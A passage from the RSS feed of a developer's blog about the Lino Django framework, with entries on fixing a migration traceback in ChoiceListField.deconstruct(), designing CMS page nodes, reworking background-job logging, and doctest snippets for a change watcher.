    +    - Create model Session
    +    - Create model ServiceReport
    +Migrations for &amp;#39;storage&amp;#39;:
    +  migrations/storage/0001_initial.py
    +    - Create model TransferRule
    +    - Create model Provision
    +    - Create model Movement
    +    - Create model Filler
    +    - Create model DeliveryNote
    +    - Create model DeliveryItem
    +    - Create model Component
    +Migrations for &amp;#39;uploads&amp;#39;:
    +  migrations/uploads/0001_initial.py
    +    - Create model UploadType
    +    - Create model Volume
    +    - Create model Upload
    +Traceback (most recent call last):
    +  File &amp;quot;/home/luc/work/book/lino_book/projects/migs/manage.py&amp;quot;, line 9, in &amp;lt;module&amp;gt;
    +    execute_from_command_line(sys.argv)
    +  File &amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/__init__.py&amp;quot;, line 442, in execute_from_command_line
    +    utility.execute()
    +  File &amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/__init__.py&amp;quot;, line 436, in execute
    +    self.fetch_command(subcommand).run_from_argv(self.argv)
    +  File &amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/base.py&amp;quot;, line 412, in run_from_argv
    +    self.execute(*args, **cmd_options)
    +  File &amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/base.py&amp;quot;, line 458, in execute
    +    output = self.handle(*args, **options)
    +  File &amp;quot;/home/luc/work/lino/lino/management/commands/prep.py&amp;quot;, line 43, in handle
    +    super().handle(**options)
    +  File &amp;quot;/home/luc/work/lino/lino/management/commands/initdb.py&amp;quot;, line 261, in handle
    +    call_command(&amp;#39;migrate&amp;#39;, &amp;#39;--run-syncdb&amp;#39;, **options)
    +  File &amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/__init__.py&amp;quot;, line 194, in call_command
    +    return command.execute(*args, **defaults)
    +  File &amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/base.py&amp;quot;, line 458, in execute
    +    output = self.handle(*args, **options)
    +  File &amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/base.py&amp;quot;, line 106, in wrapper
    +    res = handle_func(*args, **kwargs)
    +  File &amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/commands/migrate.py&amp;quot;, line 117, in handle
    +    executor = MigrationExecutor(connection, self.migration_progress_callback)
    +  File &amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/migrations/executor.py&amp;quot;, line 18, in __init__
    +    self.loader = MigrationLoader(self.connection)
    +  File &amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/migrations/loader.py&amp;quot;, line 58, in __init__
    +    self.build_graph()
    +  File &amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/migrations/loader.py&amp;quot;, line 229, in build_graph
    +    self.load_disk()
    +  File &amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/migrations/loader.py&amp;quot;, line 120, in load_disk
    +    migration_module = import_module(migration_path)
    +  File &amp;quot;/usr/lib/python3.10/importlib/__init__.py&amp;quot;, line 126, in import_module
    +    return _bootstrap._gcd_import(name[level:], package, level)
    +  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 1050, in _gcd_import
    +  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 1027, in _find_and_load
    +  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 1006, in _find_and_load_unlocked
    +  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 688, in _load_unlocked
    +  File &amp;quot;&amp;lt;frozen importlib._bootstrap_external&amp;gt;&amp;quot;, line 883, in exec_module
    +  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 241, in _call_with_frames_removed
    +  File &amp;quot;/home/luc/work/book/lino_book/projects/migs/migrations/linod/0001_initial.py&amp;quot;, line 17, in &amp;lt;module&amp;gt;
    +    class Migration(migrations.Migration):
    +  File &amp;quot;/home/luc/work/book/lino_book/projects/migs/migrations/linod/0001_initial.py&amp;quot;, line 195, in Migration
    +    lino.modlib.linod.choicelists.Procedure(
    +  File &amp;quot;/home/luc/work/lino/lino/modlib/linod/choicelists.py&amp;quot;, line 20, in __init__
    +    name = func.__name__
    +AttributeError: &amp;#39;NoneType&amp;#39; object has no attribute &amp;#39;__name__&amp;#39;. Did you mean: &amp;#39;__ne__&amp;#39;?
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This error was because the migration file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;linod/0001_initial.py&lt;/span&gt;&lt;/code&gt; had
something like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;procedure&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choicelists&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ChoiceListField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;choicelist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linod&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choicelists&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Procedures&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;choices&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linod&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choicelists&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Procedure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                    &lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;event_notification_scheduler&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;every&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;every_unit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;secondly&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="p"&gt;),&lt;/span&gt;
                &lt;span class="s2"&gt;&amp;quot;event_notification_scheduler&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="o"&gt;...&lt;/span&gt;
        &lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="n"&gt;help_text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Pointer to an instance of Procedure.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;unique&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Background procedure&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I fixed it by reviewing the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;deconstruct()&lt;/span&gt;&lt;/code&gt; method of the
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.choicelists.html#lino.core.choicelists.ChoiceListField" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.choicelists.ChoiceListField&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; class.  It now
removes the &lt;cite&gt;‘choices’&lt;/cite&gt; key from &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;kwargs&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;deconstruct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
      &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kwargs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;deconstruct&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
      &lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;choicelist&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choicelist&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;     &lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;choices&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kwargs&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Because the available choices are &lt;em&gt;not&lt;/em&gt; relevant for the database structure, and
Django might have problems for representing them in a migration.&lt;/p&gt;
&lt;p&gt;This didn’t disturb until now, but I changed the signature of
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Procedure.__init__()&lt;/span&gt;&lt;/code&gt;: it now takes just the &lt;cite&gt;function&lt;/cite&gt; object. And
&lt;cite&gt;function&lt;/cite&gt; objects are not always serializable.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/1103.html</guid><pubDate>Fri, 03 Nov 2023 00:00:00 +0000</pubDate></item><item><title>Wednesday, November 1, 2023</title><link>https://luc.lino-framework.org/blog/2023/1101.html</link><description>&lt;section id="wednesday-november-1-2023"&gt;
&lt;h1&gt;Wednesday, November 1, 2023&lt;a class="headerlink" href="#wednesday-november-1-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;When a site has its calendar events, or products or users…, published as
PublisherViews, then we probably do &lt;em&gt;not&lt;/em&gt; want calendar entries or users to
become an instance of &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;pages.Node&lt;/span&gt;&lt;/code&gt; (with fields like &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;title&lt;/span&gt;&lt;/code&gt; and
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;body&lt;/span&gt;&lt;/code&gt;, with potential child nodes, etc). But since they (potentially)
generate a page on their own, we want them to have previous/next links. I am not
so sure any more whether these previous/next links should integrate them into a
“one and only sequence of pages”. We can say that a Lino site with publisher has
one pagination suite per PublisherView.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/1101.html</guid><pubDate>Wed, 01 Nov 2023 00:00:00 +0000</pubDate></item><item><title>Saturday, October 28, 2023</title><link>https://luc.lino-framework.org/blog/2023/1028.html</link><description>&lt;section id="saturday-october-28-2023"&gt;
&lt;h1&gt;Saturday, October 28, 2023&lt;a class="headerlink" href="#saturday-october-28-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am meditating and juggling with the database structure of pages and blogs.&lt;/p&gt;
&lt;p&gt;The big difference with established systems is that in Lino we don’t provide a
WYSIWYG editor.
Every section or subsection of a page is a &lt;em&gt;node&lt;/em&gt; in the Lino database.
Lino CMS is not like &lt;a class="reference external" href="http://www.simplecms.com"&gt;SimpleCMS&lt;/a&gt;
but rather like &lt;a class="reference external" href="https://www.cmsimple.org"&gt;CMSimple&lt;/a&gt;.
Why is this so cool?
See &lt;a class="reference external" href="https://youtu.be/fd0orxY8jz8?si=XM4prIsSr-WTGq_P"&gt;this screencast by Black Scorpion&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I am meditating about questions like:
Is there one big pagination sequence, which includes special pages like
automatically generated monthly overviews? Can blog entries have multiple pages?
Are there pages where we want the children to sorted alphabetically by name?
Should we rename the current concept of ContentFillers to NodeGenerator?&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Node&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Polymorphic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Hierarchical&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Sequenced&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Previewable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Commentable&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;child_node_depth&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;node_type&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;filler&lt;/span&gt;

&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Publishable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;publishing_state&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;

&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Page&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Publishable&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;translated_from&lt;/span&gt;

&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;blogs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Entry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Publishable&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;pub_date&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;pub_time&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;author&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/1028.html</guid><pubDate>Sat, 28 Oct 2023 00:00:00 +0000</pubDate></item><item><title>Some fundamental changes in background jobs and logging</title><link>https://luc.lino-framework.org/blog/2023/1015.html</link><description>&lt;section id="some-fundamental-changes-in-background-jobs-and-logging"&gt;
&lt;h1&gt;Some fundamental changes in background jobs and logging&lt;a class="headerlink" href="#some-fundamental-changes-in-background-jobs-and-logging" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sunday, October 15, 2023&lt;/p&gt;
&lt;p&gt;I pushed yet another series of changes in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.linod.html#module-lino.modlib.linod" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.linod&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.logging&lt;/span&gt;&lt;/code&gt;: &lt;a class="reference external" href="https://gitlab.com/lino-framework/lino/-/commit/f39dc46616744f60acf62e7151d1a70a31139d58"&gt;2023-10-15 16:10&lt;/a&gt;.
They are a follow-up of my changes from 4 days ago: &lt;a class="reference external" href="https://gitlab.com/lino-framework/lino/-/commit/19131f56f51bb321ad01e986410096c3e388837b"&gt;2023-10-11 09:05&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I have been working more than a week on this.  It all started with a customer
who observed that a background job apparently was not running. Ticket
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5172"&gt;#5172&lt;/a&gt; (lino_runworker is running but doesn’t work).&lt;/p&gt;
&lt;p&gt;We no longer have a history of the individual background job runs. If I want
that, I can consult the &lt;a class="reference external" href="https://dev.lino-framework.org/topics/logging.html#xfile-lino.log" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.log&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file. What we want is a detailed log
of the last run. And we want a way to manually set a higher logging level for an
individual job.&lt;/p&gt;
&lt;p&gt;A side effect is the log server.  I partly rewrote how we had been doing things
for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4595﻿"&gt;#4595﻿&lt;/a&gt; (Multiple Lino processes logging to single file). And this
time it is also about &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5179"&gt;#5179&lt;/a&gt; (Write to lino.log even when log server is
not running). The decision whether a Lino process writes directly to the
&lt;a class="reference external" href="https://dev.lino-framework.org/topics/logging.html#xfile-lino.log" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.log&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; or logs via a socket server does not depend on whether we are
in an async environment. The processes now simply check whether the socket file
exists. If it exists, they connect to the log server, otherwise they write
directly to the file.  On a production site the log server is supposed to run as
a consumer in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/linod.html#management_command-linod" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;linod&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/linod.html#management_command-linod" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;linod&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; process is responsible for
starting the log server. All other processes become clients of that server when
the socket file exists and otherwise write to the file themselves.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/1015.html</guid><pubDate>Sun, 15 Oct 2023 00:00:00 +0000</pubDate></item><item><title>Tuesday, August 22, 2023</title><link>https://luc.lino-framework.org/blog/2023/0822.html</link><description>&lt;section id="tuesday-august-22-2023"&gt;
&lt;h1&gt;Tuesday, August 22, 2023&lt;a class="headerlink" href="#tuesday-august-22-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;This page contains &lt;strong&gt;code snippets&lt;/strong&gt; (lines starting with &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;), which are
being &lt;a class="reference external" href="https://dev.lino-framework.org/dev/doctests.html#tested-docs" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-ref"&gt;tested&lt;/span&gt;&lt;/a&gt; during our development workflow. The following
snippet initializes the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/install/index.html#term-demo-project" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;demo project&lt;/span&gt;&lt;/a&gt; used throughout this page.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;datetime&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_book.projects.noi1r.startup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.core.diff&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ChangeWatcher&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;etgen.html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tostring&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.modlib.notify.mixins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ChangeNotifier&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;cw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;cw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ChangeWatcher&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;robin&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;renderer&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SITE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default_renderer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;permalink_uris&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;summary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;foo&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Just to verify that our change watcher works:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;cw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_dirty&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;tostring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_updates_html&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
